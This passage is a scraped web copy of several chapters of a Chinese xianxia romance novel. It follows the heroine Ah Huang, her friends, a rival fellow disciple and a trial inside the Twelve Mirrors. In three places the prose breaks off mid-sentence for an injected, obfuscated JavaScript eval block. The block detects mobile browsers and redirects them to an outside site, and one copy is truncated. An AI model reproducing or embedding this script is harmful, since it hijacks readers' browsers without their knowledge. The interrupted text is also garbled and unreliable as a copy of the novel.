“这位姑娘说是你的朋友,我们就带路了。”徐子岑说。 看到独孤槿的那一刻,阿凰惊喜道:“阿槿!你怎么来了?” “我来看看你有没有习惯这里的生活。”独孤槿道,“原本是先去表哥那边找他的,他不在我就过来看你了。” 说着说着,独孤槿看着阿凰的眼睛,发现了不对劲,问:“你的眼睛怎么了?是不是刚刚哭过?” 徐子岑也凑上来:“谁欺负你了?我第一个骂他,我虽然打不过,但是骂人很厉害的,我跟小然都很会骂!” 许萧然点头附和:“我能打还能骂,请求出战!” 正枫说:“我虽然嘴笨,修为也不高,但是为了朋友,我也能做到两肋插刀。” 真是一帮正义凛然的少年啊。 第一次被这么多人关心,让阿凰感受到了家人陪伴般的温馨,她笑了,说:“没有人欺负我,我只是做噩梦了而已,谢谢你们这么关心我。” 独孤槿放心了下来,安慰道:“梦都是反的,别担心,有我们呢。” “大家先进屋吧。” 带四人进屋坐下,阿凰才看到独孤槿怀里托着一只奶猫,小小的一只,拳头一样大小,看起来也就一两个月大,它缺了一边耳朵,显得脑袋好像被削了一半,可眼睛依然明亮,可怜兮兮中带着警惕,它好像很怕生,一直瑟缩在独孤槿怀里,两只大眼睛滴溜溜的看着周围的人。 独孤槿解释道:“这是我在路上见到的,脏兮兮的一小只,就快饿死了,一只脚受了伤,还没了耳朵,实在可怜,我就先给它清理了一下,又喂了点吃的,这才对我暂时有了点信任,愿意让我抱着,可还是怕生得要命。” “这小家伙是真的很怕人,我想摸一下都被它挠了手。”许萧然也说,伸出那只被抓伤的手,“幸好我反应快,只是一点点擦伤,处理了一下就没事了。” “我原想着可以收养它,找个地方安顿它,每日去看望,可它实在很怕人,警惕得很,我们完全无法近身。”正枫也说。 阿凰也没有养猫的经验,只是前世在网上云吸猫,关于猫的知识只知道一点。 “还没适应陌生环境,它害怕吧。” 她话刚说完,小奶猫就嗖的一下冲出去,一眨眼就溜到了床底。 “那就让它待着吧,它要是留下来我就养着,要是想走,也算是我们没缘分。”阿凰说。 另外四人都同意,徐子岑拿出一粒丹药,说:“我去请求了药修,和他们说明情况得来了这么一颗药,兴许能治你的嗓子,快试试看!” 可是阿凰内心很清楚,她的嗓子和脸不是吃药能治好的,这和夜月姬息息相关,但她不能说,而且,徐子岑的好意她不想辜负,便接过丹药吃下去。 等了好一会儿,徐子岑期待地看着她:“怎么样?” 阿凰清了清嗓子,说:“好像没什么感觉。”她的声音也毫无变化,这完全在她的意料之中。 徐子岑泄了气,失望道:“到底要怎么才能治好啊……不对,他们骗我!” “药修也不是神仙,治不了我这怪病属实正常。”阿凰拉住这个冲动的姑娘,“反正也不影响我吃饭说话,我早就习惯了,也许哪一天它就会自己好了。” 安静了一下,徐子岑又冒出想法,问:“唉,听说有一位小师妹人送称号妙音仙子,一提起来大家都很喜欢她,听说她是医修,正好也是玄极长老的弟子,阿凰倒不如问问她有没有办法?能成为玄极长老的弟子,想必医术十分精湛吧?正好小猫的腿伤也可以请她看看?” 阿凰有些犹豫,不知为何,她很害怕麻烦顾纯儿。她自己身上的怪病本就不是寻常方法可以治愈的,于是就只剩小猫的伤,她想,她可以自己请医修来救治。 似乎看出了她的尴尬,独孤槿转移话题:“这个慢慢来吧,对了阿凰,跟着玄极长老这么厉害的人修行,你感觉怎么样?” 许萧然也说:“听说阿凰师姐以音律为武器,想必音乐造诣很高吧?” “不敢自诩有什么造诣,只是略懂一些。”倒不是阿凰装谦虚,而是她自认为自己懂的不多,每次需要的时候能发挥的作用都很小。 独孤槿笑说:“阿凰太自谦了,你的能力,我们初次见面的时候我就领悟到了。” “正好我也很喜欢唱歌,不如阿凰师姐为我们奏乐,让我们大饱耳福。”许萧然道。 “好啊。” 虽然成为长老弟子后都住进了单间,但彼此之间还是有一些距离的,阿凰怕打扰到别人,就跟着他们进了后山。 不得不说后山真是个万能的地方,能晨练还适合静修,阿凰想起上次为自己指路还给了果子的那位师姐,走路的时候四处看了看,但是这次没看到她。 到了一处地势平坦的地方,阿凰拿出玉笛做好了准备,许萧然报出一首曲子,是这个地方流行的一首表达青年之间表达爱意的歌,这首曲子对阿凰来说没什么难度,准备好便举起玉笛吹奏。 一曲唱毕,许萧然十分捧场:“有阿凰师姐动听的笛音相伴,我的歌声都比平时好听多了。” “我也感觉阿凰的曲子相比取魔丹那一次,似乎是有了进步。”独孤槿也说。 “阿凰师姐既然有着这么高的音律天赋,不如也高歌一曲?否则实在有些可惜啊。”许萧然又说,满是期待。 徐子岑捶了他一下:“说什么呢?阿凰嗓子不适,你非要为难人家?” 许萧然这才挠挠头说:“抱歉抱歉,我太期待阿凰师姐唱歌是什么样的,一时失了智。” 阿凰倒没觉得有什么冒犯的,不在乎地笑了笑:“没关系,日后我若恢复了,你们不嫌弃我就唱给你们听,我有一首很喜欢的曲子,不如吹来让你们听听?” 迎着伙伴期待的目光,阿凰吹出了记忆里喜爱的旋律,是一首来自游戏的纯音乐,在故事的结局,尘埃落定,主角团的少年们望着夕阳,风吹过草地,发丝飞扬,即将迎来全新的美好的世界。 虽然他们几个还没有共同经历生死,可阿凰却感觉和大家相见恨晚,觉得每一个人都特别好,她真的很容易为友情而动容。 共同嬉戏到下午,阿凰倍感轻松, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126059|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像所有的不开心都被吹散了。 独孤槿是在此之前就认识的,相隔几天重逢,阿凰感觉她多了一丝忧郁;正枫依然是单纯正直的老实人;徐子岑还是偶尔冲动的少女;许萧然非常的活泼外向,甚至有些可爱的朝气蓬勃,若是网友,阿凰一定会认为他是个女孩子。 阿凰还记得玄极安排的任务,几个徒弟都要去璇玑阁找他,时间差不多了,她只能依依不舍地和伙伴分开。 无尽峰,璇玑阁。 桌子边,少女撑着脑袋昏昏欲睡,却强撑着自己清醒,显出一副憨态可掬的模样,可仔细一瞧,她分明无一丝困意。 今天顾纯儿特地穿了一身嫩黄色裙子,为了避免有人看腻了,她还在头上带了蝴蝶发饰,会随着她的一举一动扑动翅膀,好不俏皮。 看着玄极在查阅书籍,顾纯儿有点泄气了。 她最爱看的话本子里,那些俏皮可爱的女主角,不都是这样做的吗?为什么某人一点别的反应都没有? “累了就去歇着。”玄极忽然开口。 顾纯儿立刻坐直了,睁大眼睛看着他:“我不累!师父,有需要尽管吩咐我,嘻嘻。” 迎着玄极的目光,她微微鼓起脸颊,嘴唇微微嘟着,缓缓眨了眨眼,亮晶晶的眼睛无辜地看着人,既不显得刻意也能让对方看出来,正是恰到好处的弧度。 眼看他要写字,她凑到他身侧,提起花哨的袖子,拿起墨条磨墨,一边说:“我来给师父研墨。” 红袖添香,温香软玉,日久生情,哪个男人会不心动呢?她有个第一美人娘亲,教过她不少好东西。 “这些事自有人做,你不必亲力亲为,顾门主托本座照顾你,不是让你来打杂的。”玄极看着身侧的少女说。 顾纯儿立刻用可怜兮兮的语气说:“这是我自己想这么做的,我想对师父好,不觉得这是辛苦,如果师父连这些事也不让我做,我会很无聊的。” 玄极露出一丝无奈:“随你吧。” 眼见他有所松懈,顾纯儿抓住机会,低着头缓缓研墨,声音听起来闷闷不乐:“我只是想让师父开心一些,师父平时那么累,那么忙,我想为师父分担一些压力,所有人眼里我都是受大家照顾的,可谁又知道我也是会为了关心的人付出的呢?我知道都是因为爹爹的嘱托师父才会照顾我的,可我也想用自己的实力获得师父的信任。” 她本就人见人爱,这么一番深情告白砸下来,换作哪个男人都无法拒绝。 即使是一贯冰冷的玄极,此时也有一瞬的晃神。 顾纯儿再接再厉:“在大家眼里师父是冷若冰霜不近人情的,可我知道师父内心是非常热诚的,为了紫微派尽心尽力,我都看在眼里,所以我想,别人都不敢接近师父,那我就多关心师父。” 听着她甜蜜的声音,玄极虽不发一言,可神色当中已经略有动容。 “我只是……太急着想靠近师父了,如果师父不喜欢我这样,我以后绝对不会再越界了。” 说着,顾纯儿站起身要跑出去,被一只手拉住了手腕。 “我没说不行。” 看着她闪烁着泪光的眼睛,委屈巴巴的表情,玄极拿出一方帕子,说:“哭什么,你在清音门都没吃过苦,反倒在本座这儿受了委屈?” “没有,不委屈!”顾纯儿接过帕子擦眼泪,当着他的面把帕子好好收起来,“这是师父给我的第一件礼物,我会收好的。” 16. 心思各异 外头,阿凰到了地方,远远的就看到熟悉的身影,独自一人立在那儿,风吹起他的衣摆,头发丝也随风飘动,简直像一幅古风人物画像。 她一时看入迷了,不忍打破这副画,他的背影立在那儿,埙声传来,带着忧愁的情绪,不知为何,她感同身受的内心酸楚。 犹豫片刻,她想着,是叫他一声,还是直接绕到他面前,独孤凤渊却收起埙转了过来,脸色非常难看。 “怎、怎么了,我没迟到吧?” 独孤凤渊没理她,只是转身就向玄极所居住的璇玑阁去:“走吧。” 看他的样子,好像在这里等了很久啊……阿凰心里突然冒出一丝不确定的想法,他不会是在等她吧? 看了看周围,也不见顾纯儿和宋清希,正在疑惑,独孤凤渊突然说:“别看了,纯儿已经到了,至于宋清希……呵。” 他哪里不知道,顾纯儿一大早就过来了这里,直到现在也没出来,他就这么站在这里看了一天。 阿凰不知道他在呵个什么,更不知道他为什么不高兴,问:“哦,那你怎么不进去,在这里吹风?” 没想到他又转过来看着她,脸色更难看了。 “不该问的事别多问。” 阿凰跟在他后面走,觉得男人真是莫名其妙。 她这两辈子认识的男性加起来一双手都数得过来,称得上熟人的更是寥寥无几,所以她其实搞不懂怎么和异性往来,更猜不透他们的想法。 可她又是一个边界感很重的人,所以一旦有异性表现出超出她预料的言行,她就容易误解。 “明明是你自己要说的……”阿凰小声嘀咕。 独孤凤渊身影一顿,不过这次没有回头凶她了。 到了门口,阿凰也不指望他会主动开口,向里面喊道:“师父,我们到了。” 门自动打开,前头的独孤凤渊先走进去,阿凰紧随其后,看到里面的两个人时,她心里冒出一种奇怪的感觉。 这两个人是不是有点过于亲昵了?好像有点超出师徒的范围了吧? 玄极提笔写字,顾纯儿坐在他边上,单手撑着下巴看着他,半个身子都要贴上去了,眼神都在拉丝。 真是好热情主动的女孩子。 阿凰替别人尴尬的毛病又犯了,她突然好想逃,是不是看到了不该看的东西? 突然感受到一股很凝重的气息,她侧头看去,身旁的独孤凤渊整个人的气息沉得吓人,她甚至产生了一种错觉,好像感受到他身上冒出来了寒气。 直到发现有人来了,顾纯儿才端正坐姿,也没保持距离,还是坐在那儿,看了过来,看起来很开心地打招呼:“你们来啦。” 阿凰回应一声,又暼了独孤凤渊一眼,他居然又变得如沐春风,好像刚才的一切都是她的错觉。 这个时候阿凰只能祈求来一个人打破这么诡异的氛围,想了想,似乎也只有还没到场的宋清希会来。 她便转身看门外,希望这小子该出现的时候就出现吧。 好像听到了她心里的呼声似的,果然见到一个少年的身影赶来,风风火火直接进了门。 然而下一刻,他看到了那对亲昵的师徒,脸上的笑容也僵住,很快又调整出阳光开朗的面容:“纯儿师姐怎么来得这么快?不会是早就来了吧?” 看着这修罗场,阿凰想,看来太受欢迎也是一种烦恼啊。 见了宋清希,顾纯儿站起身走过来,离开了师父的上座。 “还说我呢,你们一个个一整天都找不到人,我自己一个人太无聊了,只能来给师父干活咯。” 宋清希立刻表明态度:“哪里的话,明明是师姐你没想起我,只要师姐需要,我随叫随到,随时待命着!” 只过了一瞬,独孤凤渊也跟着说:“我也常常闲来无事,纯儿师妹有需要随时可以唤我。” 顾纯儿笑嘻嘻的,又佯装不满,看着宋清希:“你小子,老实告诉我,为什么招惹阿凰?” “冤枉啊师姐,我哪里招惹她了?” “那为什么我听说你们打架了?” 话题突然扯到自己身上,原本想当透明人的阿凰瞬间有些不知所措,连忙说:“都是误会,经师父处罚后我们已经知错了。” “同门之间,和气最重要,既然只是误会,解开了就好啦。”顾纯儿道,威胁地看着宋清希,“只是以后别再闹了,要是惹师父生气,我可管不了,阿凰和我可是唯二的女孩子,你们要让着我们。” 宋清希笑嘻嘻地附和:“那是自然!师姐说东我就绝不往西,不让我做的事我绝不做,让我做的事下火海也会做到,有任何好东西我都会第一时间记着师姐。” 独孤凤渊也说:“一切自然是以师妹为主,我们堂堂男儿,照顾师妹义不容辞,一切事务尽可以吩咐我。” 顾纯儿心满意足地被逗笑了。 可是阿凰并不想搞特殊,也从没想过别人就应该让着自己,修仙界弱肉强食,她自己弱小她会努力变强,敌不过别人她也只能认栽,而不是搞特殊,当关系户,这样对普通人很不公平。 也许因为她自己就是个普通人吧,总是容易共情普罗大众。 不过她知道顾纯儿并没有恶意,只是习惯了开玩笑,这些人都和她关系不错,她打趣说笑很正常。 上座,玄极停下写字的手,看了过来,说:“两日后正式进入凡尘十二镜,你们自行做好准备。” 宣布得好突然,阿凰有点措手不及,该准备什么?要是进去了出不来怎么办? “再次提醒你们,若心性不坚定会迷失自我,被困在镜中世界,成为活死人,若成功度过,心境与修为将会得到很大的提升,为避免过于沉浸无法摆脱情绪,从镜中世界中离开后会暂做休息。” 玄极带着他们在后山吐纳,感受天地灵气,不知不觉天黑了。 阿凰悄悄睁眼,看到周围有点点亮光,似乎是萤火虫,明明是黑夜,这里却并不黑暗,像点了灯一样清晰。 “感受如何?”玄极开口问。 顾纯儿第一个兴致冲冲地回应:“师父,我感觉身体更轻盈了,这是不是进步的体现?” 玄极点头。 阿凰不禁有些羡慕,她资质真好啊,轻而易举就进步了,她自己同样也坐了半天,却好像什么也没感受到。 真是一个闪闪发光的女孩子,各方面都这么好。 夜里的凉风吹过,顾纯儿咳嗽了两声,顿时所有人的目光都关切地投向她。 “纯儿师姐,你是不是又犯病了?”宋清希说着要脱下外衣,被顾纯儿婉拒了。 “没事,我还好。” “既然身体有恙,今日到此结束吧。”玄极说,一向冷漠的脸上露出些许关心。 独孤凤渊也说:“是啊,修行的日子还长着,不差这一时,纯儿师妹不要逞强,身体要紧。” “纯纯生病了吗?”阿凰问。 顾纯儿点点头说:“不知为何,我打小就嗓子不适,从娘胎里来的病,怎么也治不好,好在只是小毛病,不打紧的,你们不要这么严肃啦。” 她强撑坚强的样子更惹得人同情了,大家一阵劝说,她终于肯回去休息。 返程路上,看到玄极似乎在出神,顾纯儿若无其事地咳嗽了几声,他果然将目光放到她身上。 “本座配一味润喉药,明日你来拿。” “多谢师父关心。”顾纯儿又咳了两声,嘴角藏着一丝计划成功后满意的笑。 回到屋子里,阿凰见到那只小奶猫窝在她床上,将身体团成一团,像个球一样,无辜的眼睛看着她,眼角微微下垂,天生自带可怜兮兮的感觉。 见到她,小奶猫发出一声奶呼呼的“喵呜”,似乎在撒娇,这时候它已经一点害怕的样子都没有了。 阿凰的心都要被萌化了,忍住扑上去狠狠吸猫的冲动,心中打算,如果它还是怕生,无法接近,就送给顾纯儿试试,正好她喜欢可爱的东西,一定会很喜欢,就代表她有可能养过小动物,有经验,还是医修,最合适不过。 她尝试着靠近小奶猫,伸出手摸摸头,它乖巧地窝在那儿任由抚摸,一点也不反抗,喉咙里还发出呼噜呼噜,像引擎一样的声音,她只知道猫咪发出这种声音,一种是害怕,一种是喜欢,根据当下情况判断,小奶猫应该是喜欢她? 给小猫喂了点吃的,它吃饱后满足地舔爪子给自己身上清洗,阿凰也满足地睡了。 次日阿凰担心顾纯儿的身体,便出门想去看看她,半道上碰见她,看起来要出门。 “纯纯,你这是要出门吗?” “嗯,有事吗?”顾纯儿看了她一眼,语气和在人前大不相同。 这一句把阿凰问愣了,她还是第一次见到顾纯儿这么冷淡的一面,不禁怀疑自己是不是做错了什么,哪里惹她了?或者只是她现在不开心? “没、没事啊,我是担心你的嗓子不舒服,来看看你,要不要去药宗那边问药?”阿凰都没发现自己有些心虚了,好像关心别人成了一件需要反思的事。 “不用,没事我就走了。”顾纯儿脸上挂着淡淡的笑容,只是连阿凰都看得出来,那笑容很敷衍。 回到自己屋里,阿凰一路上都在反思,仔细回忆了许多遍自己到底哪里做错了,她被顾纯儿讨厌了吗? “别多想了,一个人要是真的讨厌你,你呼吸都是错的,要是喜欢你,你杀人放火都替你掩护。”夜月姬的声音突然响起来。 “我真的被讨厌了吗?” “这说不准,人心难测,谁能把握别人的想法?讨厌或者喜欢一个人,有时候是没有理由的,你就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126060|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是太容易内耗了,猜测别人的心思太累了,你做好自己就够了。” 阿凰只能控制自己别多想,去药宗讨了点药回来给小猫治腿伤。 “你好久没吃药调理身体了。”夜月姬说。 “你给我灵石啊?咱家什么条件,要啥自行车,活着就不错了。” 徬晚,顾纯儿突然来访,又恢复了友好的一面,让阿凰怀疑早上的一切是幻觉,她跟阿凰扯了一堆有的没的话题,看起来很关心她,她却看得出来,她有话要说。 “纯纯,听说你喜欢可爱的东西,你要不要摸摸我的猫?” 然而小猫不给她面子,又一溜烟躲进床底了,尾巴上的毛都炸了起来,整条尾巴跟毛毛虫似的。 顾纯儿很显然也不感兴趣,说:“小猫害怕我,那就算了。” “纯纯,你是不是有事要说啊?” 终于问了,顾纯儿坐在她身旁,问:“阿凰,你有没有喜欢过一个人?” 阿凰身体有一瞬间的僵住,甚至都忘了眨眼,脑海里冒出许多想法,最后想,她是不是发现了什么? “没有呢,怎么啦,突然这么问?”阿凰只能装作若无其事。 沉默片刻,顾纯儿才说:“如果你喜欢上一个人,可是你不确定他是不是也喜欢你,你会继续追求,还是及时止损转向下一个目标?” 前两句,阿凰也想知道。 后两句,她没有这种选择谁的烦恼,她自己都是那个永远不在选择范围里的人,哪有资格对别人挑挑拣拣?而且她喜欢一个人,是不敢追求的,暗恋好像成了她的习惯,甚至害怕被别人发现她的喜欢。 “我也不知道,也许等我有了喜欢的人才能给你回答吧。” 看啊,她连有喜欢的人都不敢承认,怎么有资格当别人的感情咨询师呢。 这关头阿凰只有即将历练的紧张,和无法通过的担忧,哪里还有心情想这些,而且她感情经历为零,认识的男人一双手都数得过来,实在无法回答。 她有些意外,顾纯儿会来找她聊这种话题,因为对方看起来没有这种烦恼,就算有,她也一定是最无法回答的那个。 顾纯儿又和她聊了好多,她只能当一个合格的倾听者,显然对方也没指望她能回答什么,只需要有一个感情的发泄口就够了。 最后顾纯儿开心地和她道别,她也因为好朋友对自己的态度又好了而开心。 “傻姑娘,又被别人一句话哄好了,人家甚至还没哄你,你自己就把自己哄好了。”夜月姬突然说。 “哪有那么严重,纯纯也说过了,这里只有我们两个女孩子,她有青春期的感情烦恼,找我说很正常啊。”阿凰维护朋友说,“她能找我聊这种小心思,肯定是很信任我的,女孩子不会和不熟的人聊感情的事。” “也不知道早上被人家甩了脸子,内耗一整天的是谁。” 阿凰说不出话。 夜月姬继续说:“没发现她只有需要你的时候才是好态度吗?你主动找她她就敷衍你,只有你们两个人的时候,她对你的态度就敷衍冷淡,而在那些男人面前,她需要维护自己的人设,就又是别的面孔了。” “够了,你说话真的有点过分了,你别这么恶意揣测,人都有不开心的时候,我运气不好碰上了行吗?” “你说这话自己信吗?” 长久的寂静。 夜月姬无奈道:“当局者迷,旁观者清,很多事你以后才能领悟。” 回想起来,夜月姬第一次评价顾纯儿就没什么好话,阿凰都怀疑她和顾纯儿有仇了。 “总之以后你不许那么过分地说纯纯,你再说她坏话我就……”可是她发现自己好像真的没办法,连她的命都是靠夜月姬续的。 “你就怎么样?你能拿我怎么样?别忘了你靠我才活到现在,别想着胳膊肘往外拐。” 阿凰说:“你就像干涉孩子社交的家长。” 相处这么久,夜月姬在她心里确实成了长辈一样的存在,她也一直都很情绪稳定,可是到了顾纯儿这件事上,怎么就变了? “你认识正常人我才不管你。”夜月姬冷哼一声,“你真把她当好朋友呢?你也被她迷惑住了?这才多久,就帮着外人说话,要抛弃我这个老不死的妖怪了。” 阿凰承认:“那也没有,你死了我也活不成。” “你知道就好。”夜月姬重归平静,“你以为你和她是好朋友,说不定人家心里你在哪个角落,想起来了才捡起来用,用完就丢回角落里吃灰,只有你自作多情,任由她调动情绪,用你们那里的话说就是舔狗。” “你怎么那么扭曲呢?见不得别人好?” “我都这样了,扭曲何尝不是一种正常?” 阿凰懒得和她争了,她敢肯定,以后她也会被顾纯儿的人品折服的。 17. 进入副本 很快就到了进入凡尘十二镜历练的那天,阿凰出门后去顾纯儿的屋子找她,可是她又不在了。 “别想了,人家身边有的是人陪,又不缺你这一个没有利用价值的普通人,早就跟着她的哥哥弟弟们走了,你又不是她的熟人,她凭什么跟你一起,跟在身边还掉人家档次。”夜月姬又在阴阳怪气,自从上次谈论之后,她就很喜欢时不时冒出来说一嘴。 阿凰没理会,自己走向璇玑阁。 快到了的时候,她远远就看见三个人在前方,一身紫衣的是独孤凤渊,一身蓝衣的是宋清希,而顾纯儿走在他们两个中间,一身华丽的衣装,宛若天仙的装扮,头上配饰随着走动叮铃铃响,好不俏皮,仿佛不是要去历练,而是参与宴会。 阿凰不紧不慢地走在后头,也没有主动开口叫人,有一点自暴自弃的想法,甚至停下脚步,故意想拉开距离,等他们都走远了自己再继续走。 直到那三个人的身影在拐弯处消失,阿凰才继续走。 走到拐弯处,前方站了个人,原本在走神的阿凰一顿,抬头看到宋清希靠着石头现在那儿,一脸戏谑。 “笨蛋师姐怎么又一个人落下了?总是这么呆呆的,进了镜中世界可怎么办?你要是死了,以后我欺负谁去?” 阿凰呸了一下,说:“真晦气,这种关头少说点难听话,你不好好走你的,在这儿截我又想干什么?” 宋清希了然一笑:“原来你早就看到我们了,那你怎么不跟上来?不会是发现被我们丢下了,觉得很委屈吧?偷偷走在后面掉小珍珠?” 不得不承认,他说话真的很直白,一针见血,因为从来不在乎别人的想法,轻而易举就能伤人。 “你很得意咯?”阿凰饶过他走过去,“是不是故意的我也无所谓了,紧要关头,我没心思跟你闹,你也别找事。” 这一次宋清希居然老老实实地在身边走,没有什么恶作剧。 感受到他的目光一直放在自己身上,阿凰有些别扭,正想说点什么,他先开口了:“你怎么还穿着这件衣服?很满意我送的礼物?你不会喜欢我吧?” 阿凰觉得这人简直莫名其妙,也被震惊得睁大眼睛瞪着他:“你脸皮真厚啊,我什么时候才能做到这么不要脸?你以后再说这种莫名其妙的话,别怪我不给你留面子。” 他却一点生气的样子都没有,反而嬉皮笑脸的:“笨蛋师姐怎么又生气了?真是太好逗了。” 眼看阿凰真的闷头走路,不再理他,宋清希说:“那你总得给我个理由吧,为什么这么重要的日子穿着我送你的衣服?” “我没衣服穿了,这衣服又好看,料子也不错,不穿浪费。”阿凰实诚地说。 不过她一向体寒怕冷,这次穿了件外衣,她也知道今天是重要日子,看了眼寒酸的衣柜,也只有宋清希送的这件衣服拿得出手。 听她这么说,宋清希心里有点得意,又问:“你怎么这么穷,连衣服也买不起?” 阿凰实诚地看着他:“对啊。” 这下轮到宋清希无言了,他还是第一次见到有人这么诚实的直面自己的贫穷和窘迫。 “你进了紫微派这么气派的地方求学,家里人不给你钱,打点体面些的行头?” “我没有家人。” 宋清希又一次语塞了。 前头的独孤凤渊和顾纯儿不知何时停在原地,应该是发现宋清希不见了停下来等他。 “你们怎么走在一块儿了,难道是宋师弟特地去找阿凰?”顾纯儿故作八卦地看着两人。 宋清希道:“我发现有人在后头,以为是哪来的小贼,就回头看了看,原来是阿凰师姐。” 顾纯儿看着阿凰,眼睛一亮:“阿凰今天的裙子好漂亮呀,原来你也会喜欢这么粉嫩的颜色,平常也不见你这么打扮呢,看来是很看重今天这个日子了。” 一旁的宋清希摸了摸眉毛,瞄了顾纯儿两眼就不敢多看了,阿凰一眼就看出来那是心虚的表现,她看在眼里,内心冷笑了一下,恶劣地想,自己要是说,这是他送的裙子会怎么样呢?那场面一定很精彩。 不过最后她也只是想想,短暂地闪过一个恶作剧的念头罢了。 她说:“以前遇到一个纨绔公子,我把他收拾老实了,他家里人很感谢我,就送了几件好看的衣服。” “这样啊,阿凰真有本事。”顾纯儿说。 暼到宋清希脸色不太好,阿凰和他对视了一瞬,他露出一种危险的笑容,威胁的眼神仿佛在说:你有种。 几人有说有笑来到璇玑阁。 在屋外等候没多久,玄极便从里面走出来,一句话也不多说,看了他们一眼:“走吧。” “师父,我们去哪儿呀?”顾纯儿问。 “神机庭。”玄极看了她一眼,似乎是在担忧她身体是否无碍。 前往神机庭路上,还有别的长老带着弟子从四面八方而来,阿凰看到了许萧然,他也看到了阿凰,热烈地向她招手。 不多时,众人齐聚广场之上,阿凰好奇地四下看了看,看起来有几十个人。 场地中心立着一根蓝色矿石龙柱,一道蓝色光华从龙嘴里蔓延出来,像一袅炊烟缓缓飘上天空,看不见尽头,似乎能飘到天庭去。 众人围着龙柱坐下,为首带队的长老们伸出手,龙头上的光华分成几股飘到他们手心,而长老们收回手面对弟子们坐下,片刻之后,他们手心的光华又自动分成几股,飘向面前的弟子。 阿凰只感觉浑身轻飘飘的,好像这一刻忘却了所有烦恼,灵魂似乎也轻得要飘走了,她什么也不去想,记忆越来越模糊。 …… 清水村,河边两岸的田地间开满了一大片黄澄澄的油菜花,蜜蜂停驻在花朵上,春意盎然。 远远的传来人们劳作唱歌的声音:“远看阿郎赶牛来耶,赶牛来耶,惹得阿妹悄悄猜,若是他日成双对,愿为阿妹摘云彩哟咿哟。” 少女衣着朴素,头发只用一条青色发带编了一根辫子,听到自己教的歌,她莞尔一笑,扛起扁担就准备挑水回家。 “阿凰妹子,放着我来吧!”一个同样朴素的少年跑过来,挽起袖子,也不等阿凰拒绝就自顾自扛起扁担就走,两桶水的重量对他来说好像不存在似的,步履稳健地蹬着草鞋。 这是村子里有名的老实人,正枫,平常大伙有什么事就乐意使唤他,他也总是乐呵呵的帮衬着街坊邻里,大伙都说他是个十足的好人,力气大,心胸也宽广。 阿凰不会说话,只能跟在他身边,喉咙里发出细微的“嗬嗬”声,又用手打手势。 相处久了,大家逐渐能理解一些她想表达的意思,正枫说:“不必客气,我力气大,就该做这活,你细皮嫩肉的,本来也是读书的料,不该干这些粗活,有什么事尽管让我来。” 阿凰用口型对他说:谢谢。 正枫在内心叹气,阿凰妹子就是太善良。 她打小就是一介柔弱孤女,没有一个亲人,又不能说话,自己生活到这么大也挺不容易的,同时她也是村子里唯一一个识字的,她还在家门口免费教孩子们识字,后来,大伙出力盖了一间屋子做学堂,她便当起村子里唯一的教书先生,街坊邻居没几个钱,给她送些日常的米面菜作为报答。 自古以来教书育人就是一大善举,何况是不图回报的?所以,阿凰也成了邻里八乡出了名的善人,有些外村的人也想送孩子过来免费识字,村子里哪肯?便主动给她撑腰,这么好的资源可不能分给外人。 思及此,正枫有些不好意思。 大伙都说,他俩一个老实本分,一个善良博识,正好凑一对儿,他力气大,肯吃苦,最适合过日子,而阿凰细皮嫩肉,他来养她也毫无怨言。 虽然阿凰脸上长了一大片胎记,也是个哑巴,可没人嫌弃她丑,为人和善,又识字,能吹曲,这在乡下是一个也找不出,想娶她的人多到别的村子里。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126061|196080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他的爹娘也催着他赶紧问问阿凰的心意,可他平日里和她独处都不好意思,哪里还敢开口问这些? 此时阿凰身影一顿,蹲下去,好像发现了什么东西,正枫也停步看去,就见一只幼鸟趴在地上挣扎,以为它娘带了食物回来,嘴巴张得老大,嗷嗷待哺。 “阿凰妹子又要往家里捎这些个小玩意啊?”正枫说,“前些日子刚捡了猫猫狗狗回去,现在又是小鸟,你家里都快成养殖场了,没事儿,你那边放不下,可以带来我家,我也可以帮着养。” 阿凰给小鸟喂了一点弄碎的野果,用树枝临时搭了个鸟窝,就把小鸟放在鸟窝里带着走。 看着这些生命垂死挣扎的样子,她心里实在过意不去,做不到见死不救。 这些生命都太弱小了,如果没有外力帮助,很快就会死的。她自己也是个弱小的人,因为有了善良的村民给口吃的才能在这个村子好好生活,所以见到同样受苦的,就不免有些同情。 回到家门口,几个孩童已经在那里等着,见了阿凰都围上来,叽叽喳喳的。 “小鸟!它看起来好可怜啊。” “师父又把小动物救回来养了。” “不如带到学堂里吧,有我们陪着,小鸟肯定很快就恢复了,正好我们也能帮师父分担一下!” 没有能写字的东西在身边,阿凰无法表达自己的疑惑,孩子们还小,也很难看懂她的口型和比划。 好在孩子们吵闹了一会儿安静下来,想起此行来的目的,问:“今天师父没去学堂,我们怕出了什么事,过来看看,师父今天还教我们学字吗?” 阿凰示意大家先进屋。 